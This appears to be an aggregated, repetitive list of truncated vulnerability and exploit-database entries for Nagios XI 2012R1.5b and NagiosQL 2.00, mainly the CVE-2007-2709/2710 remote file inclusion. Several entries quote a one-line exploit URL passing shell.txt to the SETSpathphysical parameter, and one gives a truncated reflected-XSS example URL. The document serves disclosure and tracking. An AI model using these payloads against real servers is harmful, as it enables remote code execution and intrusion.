Nagios XI 2012R1.5b XSS / Command Execution / SQL Injection / CSRF

Nagios XI version 2012R1.5b suffers from cross site request forgery, cross site scripting, remote command injection, and remote SQL injection vulnerabilities. Reflected XSS: Alert Cloud Component: Example URL: http://nagiosxiserver/nagiosxi/includes/components/alertcloud/index.php?width=800";...

Remote file inclusion

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2.00-P00 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathIT parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

CVE-2007-2709

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2005 2.00 allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathphysical parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2005 2.00 allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathphysical parameter...

CVE-2007-2710

NagiosQL 2.00-P00 and earlier is affected by a PHP remote file inclusion vulnerability in functions/prepend_adm.php. The issue arises when an attacker supplies a URL in the SETS[path][IT] parameter, allowing remote execution of arbitrary PHP code. The vulnerability details and risk are described ...

CVE-2007-2709

CVE-2007-2709 : A PHP remote file inclusion vulnerability affects NagiosQL 2005 2.00 in functions/prepend_adm.php, allowing an attacker to execute arbitrary PHP code via a URL supplied to SETS[path][physical]. This is a remote code execution flaw (impacting integrity and confidentiality, with pot...

CVE-2007-2710

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2.00-P00 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathIT parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

nagiosql-rfi.txt

NagiosQL Remote file inclusion Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz Thanks str0ke Exploit : http://victim.com/nagiosQLpath/functions/prependadm.php?SETSpathphysical=shell.txt? Discovered by ThE TiGeR MiroTiger100atHotmaildotcom...

CVE-2007-2710: Undefined Security Weakness

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2.00-P00 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathIT parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

CVE-2007-2709: Undefined Security Weakness

PHP remote file inclusion vulnerability in functions/prependadm.php in NagiosQL 2005 2.00 allows remote attackers to execute arbitrary PHP code via a URL in the SETSpathphysical parameter...

NagiosQL 2005 2.00 - prepend_adm.php Remote File Inclusion

NagiosQL 2005 2.00 - prependadm.php Remote File Inclusion NagiosQL Remote file inclusion Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz Thanks str0ke Exploit : http://victim.com/nagiosQLpath/functions/prependadm.php?SETSpathphysical=shell.txt?...

NagiosQL 2005 2.00 (prepend_adm.php) Remote File Inclusion Vuln

No description provided by source. NagiosQL Remote file inclusion Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz Thanks str0ke Exploit : http://victim.com/nagiosQLpath/functions/prependadm.php?SETSpathphysical=shell.txt? Discovered by ThE TiGeR...

NagiosQL 2005 2.00 (prepend_adm.php) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications =============================================================== NagiosQL 2005 2.00 prependadm.php Remote File Inclusion Vuln =============================================================== NagiosQL Remote file inclusion Download script :...

NagiosQL 2005 2.00 - 'prepend_adm.php' Remote File Inclusion

NagiosQL Remote file inclusion Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz Thanks str0ke Exploit : http://victim.com/nagiosQLpath/functions/prependadm.php?SETSpathphysical=shell.txt? Discovered by ThE TiGeR MiroTiger100atHotmaildotcom milw0rm.com...